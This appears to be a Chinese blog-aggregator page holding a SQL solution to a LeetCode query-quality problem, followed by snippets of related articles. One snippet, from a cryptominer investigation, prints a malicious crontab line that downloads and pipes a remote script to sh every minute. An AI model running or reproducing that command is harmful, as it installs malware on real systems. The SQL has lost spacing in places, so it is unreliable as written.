当前位置: 首页 > news >正文

19 - 查询结果的质量和占比(高频 SQL 50 题基础版)

19 - 查询结果的质量和占比

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

-- round(avg(rating<3)*100,2)=round(avg(if(rating<3,1,0))*100,2) 
select query_name,round(avg(rating/position),2) quality,round(avg(if(rating<3,1,0))*100,2) poor_query_percentage 
fromQueries
group byquery_name;

相关文章:

19 - 查询结果的质量和占比(高频 SQL 50 题基础版)

19 - 查询结果的质量和占比 -- round(avg(rating<3)*100,2)round(avg(if(rating<3,1,0))*100,2) select query_name,round(avg(rating/position),2) quality,round(avg(if(rating<3,1,0))*100,2) poor_query_percentage fromQueries group byquery_name;...

一次挖矿病毒的排查过程

目录 一、查看定时任务二、处理方法 一、查看定时任务 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload发现异常任务&#xff1a; * * * * * wget -q -O - http://1…...

【JMeter接口测试工具】第二节.JMeter基本功能介绍(上)【入门篇】

文章目录 前言一、获取所有学院信息接口执行二、线程组的介绍 2.1 并发和顺序执行 2.2 优先和最后执行线程组 2.3 线程组的设置细节三、HTTP请求的介绍四、查看结果树的配置使用总结 前言 一、获取所有学院信息接口执行 我们先针对一条简单的接口进行执行&#…...

ultralytics solutions快速解决方案,快速实现某些场景的图像解决方案

参考: https://docs.ultralytics.com/solutions/ 在不断更新,已经有一些场景的解决方案 ultralytics 8.2.27 一、区域统计 1、自定义区域统计数量 https://docs.ultralytics.com/guides/region-counting/ 1、自定义画框,比如矩形框四个点的坐标获取 通过cv2点击图片获…...

iphone突然黑屏?3种方法解决问题!

iphone突然黑屏这应该是出现了iOS系统故障。一般来说&#xff0c;无摔落、浸水等情况造成设备出现硬件问题&#xff0c;多半是设备出现了系统故障。 虽然苹果iOS系统性能是较优的&#xff0c;但还是可能因各种使用情况出现不一样的iOS系统问题&#xff0c;包括升级、越狱、安装…...

nn.GRU和nn.GRUCell区别

nn.GRU和nn.GRUCell在PyTorch中都是用于实现门控循环单元(Gated Recurrent Unit, GRU)的模块,但它们之间存在一些区别: 输入维度: nn.GRU是一个完整的GRU层,它接受一个3D输入张量(batch_size, seq_length, input_size),输出也是一个3D张量(batch_size, seq_length, hidden_si…...

Coolmuster Android助手评测:简化Android到电脑的联系人传输

产品概述 Coolmuster Android助手是一款旨在简化Android设备与计算机之间数据管理和传输过程的全面工具。它以用户友好的界面和全面的功能&#xff0c;成为寻求高效数据管理解决方案的Android用户的热门选择。 主要特点和功能Coolmuster Android助手拥有一系列使其成为管理Andr…...

【杂记-webshell恶意脚本木马】

一、webshell概述及分类 概述 webshell&#xff0c;通常作为web应用管理工具&#xff0c;运维人员可以通过 webshell &#xff08;服务器管理工具&#xff09;针对 web 服务器进行日常的运维管理以及系统上线更新等&#xff0c;攻击者也可以通过 webshell &#xff08;后门程序…...

锻炼 精读笔记 01

元数据 [!abstract] 锻炼 书名&#xff1a; 锻炼作者&#xff1a; 丹尼尔利伯曼简介&#xff1a; 我们是为休息而生&#xff0c;还是为跑而生&#xff1f; 跑步会毁了你的膝盖吗? 哪种运动项目蕞适合我&#xff1f; 懒惰是不正常的行为吗&#xff1f; 每晚都需要睡够 8 个小时…...

基于pytorch的车牌识别

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 一、导入数据 from torchvision.transforms import transforms from torch.utils.data import DataLoader from torchvision import datase…...

红酒:如何避免红酒过度氧化

红酒过度氧化是影响其品质的重要因素&#xff0c;尤其是在储存和运输过程中。过度氧化的红酒会失去原有的果香和口感&#xff0c;变得平淡无味。因此&#xff0c;避免红酒过度氧化至关重要。以下是一些进一步的措施&#xff0c;可以帮助您保护云仓酒庄雷盛红酒的品质&#xff1…...

FreeRTOS学习笔记-基于stm32(9)信号量总结(二值信号量、计数型信号量、互斥信号量、优先级翻转、优先级继承)

一、什么是信号量 信号量是一种队列&#xff0c;用于任务间同步和资源管理的机制&#xff0c;主要用来传递状态。就像是一种特殊的“旗子”或“钥匙”&#xff0c;用来在不同的任务之间进行沟通和协调&#xff0c;确保它们能够正确地配合工作&#xff0c;不会互相干扰。 二、二…...

归并排序——二路归并排序

目录 1、简述 2、复杂度 3、稳定性 4、例子 1、简述 二路归并排序&#xff08;Merge Sort&#xff09;是一种基于分治法的排序算法&#xff0c;通过将数组递归地拆分成两部分&#xff0c;分别排序后再合并&#xff0c;从而实现整个数组的有序。二路归并排序具有稳定性和高…...

java-StringBuilder

StringBuilder 是 Java 中一个重要的类&#xff0c;它提供了可变的字符序列&#xff0c;可以用来高效地执行字符串操作&#xff0c;如拼接、替换和删除等。在 Java 编程中&#xff0c;字符串操作是非常常见的&#xff0c;而 StringBuilder 类为我们提供了简单、高效的方式来完成…...

数据结构 | 超详细讲解七大排序(C语言实现,含动图,多方法!)

目录 ​编辑 排序的概念 常见排序算法 ​编辑 1.冒泡排序 &#x1f379;图解 &#x1f973;代码实现 &#x1f914;时间复杂度 2.插入排序 &#x1f379;图解 &#x1f334;深度剖析 &#x1f34e;代码思路 &#x1f973;代码实现 &#x1f914;时间复杂度 3.希尔…...

企业自建邮件系统的优势,安全性更高,功能更灵活,维护更便捷

在当今企业信息管理的浪潮中&#xff0c;企业邮件系统显得尤为关键&#xff0c;它不仅加强了内部的沟通效率&#xff0c;还对外展示了企业的专业形象。然而&#xff0c;传统租用企业邮箱服务存在一些不足&#xff0c;如缺乏灵活性、数据管理混乱和难以实现个性化需求&#xff0…...

Softing工业助力微软解锁工业数据,推动AI技术在工业领域的发展

一 概览 Softing作为全球先进工业通信解决方案供应商之一&#xff0c;与微软合作共同推出了众多工业边缘产品&#xff0c;以实现工业应用中OT和IT的连接。这些产品可在基于微软Azure云平台的IIoT解决方案中轻松集成和运行&#xff0c;并为AI解锁工业数据&#xff0c;还可通过A…...

企微自动化机器人的应用与前景

一、引言 随着信息技术的飞速发展&#xff0c;企业对于提高内部运营效率、降低人力成本的需求日益迫切。在这样的背景下&#xff0c;企微自动化机器人应运而生&#xff0c;以其高效、便捷的特点&#xff0c;迅速成为企业内部的得力助手。本文将深入探讨企微自动化机器人的应用现…...

从零开始:如何用Electron将chatgpt-plus.top 打包成EXE文件

文章目录 从零开始&#xff1a;如何用Electron将chatgpt-plus.top 打包成EXE文件准备工作&#xff1a;Node.js和npm国内镜像加速下载初始化你的Electron项目创建你的Electron应用运行你的Electron应用为你的应用设置图标打包成EXE文件结语 从零开始&#xff1a;如何用Electron将…...

基于RNN和Transformer的词级语言建模 代码分析 log_softmax

基于RNN和Transformer的词级语言建模 代码分析 log_softmax flyfish Word-level Language Modeling using RNN and Transformer word_language_model PyTorch 提供的 word_language_model 示例展示了如何使用循环神经网络RNN(GRU或LSTM)和 Transformer 模型进行词级语言建模…...

基于算法竞赛的c++编程(28)结构体的进阶应用

结构体的嵌套与复杂数据组织 在C中&#xff0c;结构体可以嵌套使用&#xff0c;形成更复杂的数据结构。例如&#xff0c;可以通过嵌套结构体描述多层级数据关系&#xff1a; struct Address {string city;string street;int zipCode; };struct Employee {string name;int id;…...

在HarmonyOS ArkTS ArkUI-X 5.0及以上版本中,手势开发全攻略:

在 HarmonyOS 应用开发中&#xff0c;手势交互是连接用户与设备的核心纽带。ArkTS 框架提供了丰富的手势处理能力&#xff0c;既支持点击、长按、拖拽等基础单一手势的精细控制&#xff0c;也能通过多种绑定策略解决父子组件的手势竞争问题。本文将结合官方开发文档&#xff0c…...

Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(下)

概述 在 Swift 开发语言中&#xff0c;各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过&#xff0c;在涉及到多个子类派生于基类进行多态模拟的场景下&#xff0c;…...

【项目实战】通过多模态+LangGraph实现PPT生成助手

PPT自动生成系统 基于LangGraph的PPT自动生成系统&#xff0c;可以将Markdown文档自动转换为PPT演示文稿。 功能特点 Markdown解析&#xff1a;自动解析Markdown文档结构PPT模板分析&#xff1a;分析PPT模板的布局和风格智能布局决策&#xff1a;匹配内容与合适的PPT布局自动…...

【Web 进阶篇】优雅的接口设计:统一响应、全局异常处理与参数校验

系列回顾&#xff1a; 在上一篇中&#xff0c;我们成功地为应用集成了数据库&#xff0c;并使用 Spring Data JPA 实现了基本的 CRUD API。我们的应用现在能“记忆”数据了&#xff01;但是&#xff0c;如果你仔细审视那些 API&#xff0c;会发现它们还很“粗糙”&#xff1a;有…...

高防服务器能够抵御哪些网络攻击呢?

高防服务器作为一种有着高度防御能力的服务器&#xff0c;可以帮助网站应对分布式拒绝服务攻击&#xff0c;有效识别和清理一些恶意的网络流量&#xff0c;为用户提供安全且稳定的网络环境&#xff0c;那么&#xff0c;高防服务器一般都可以抵御哪些网络攻击呢&#xff1f;下面…...

OpenLayers 分屏对比(地图联动)

注&#xff1a;当前使用的是 ol 5.3.0 版本&#xff0c;天地图使用的key请到天地图官网申请&#xff0c;并替换为自己的key 地图分屏对比在WebGIS开发中是很常见的功能&#xff0c;和卷帘图层不一样的是&#xff0c;分屏对比是在各个地图中添加相同或者不同的图层进行对比查看。…...

分布式增量爬虫实现方案

之前我们在讨论的是分布式爬虫如何实现增量爬取。增量爬虫的目标是只爬取新产生或发生变化的页面&#xff0c;避免重复抓取&#xff0c;以节省资源和时间。 在分布式环境下&#xff0c;增量爬虫的实现需要考虑多个爬虫节点之间的协调和去重。 另一种思路&#xff1a;将增量判…...

中医有效性探讨

文章目录 西医是如何发展到以生物化学为药理基础的现代医学&#xff1f;传统医学奠基期&#xff08;远古 - 17 世纪&#xff09;近代医学转型期&#xff08;17 世纪 - 19 世纪末&#xff09;​现代医学成熟期&#xff08;20世纪至今&#xff09; 中医的源远流长和一脉相承远古至…...

CSS | transition 和 transform的用处和区别

省流总结&#xff1a; transform用于变换/变形&#xff0c;transition是动画控制器 transform 用来对元素进行变形&#xff0c;常见的操作如下&#xff0c;它是立即生效的样式变形属性。 旋转 rotate(角度deg)、平移 translateX(像素px)、缩放 scale(倍数)、倾斜 skewX(角度…...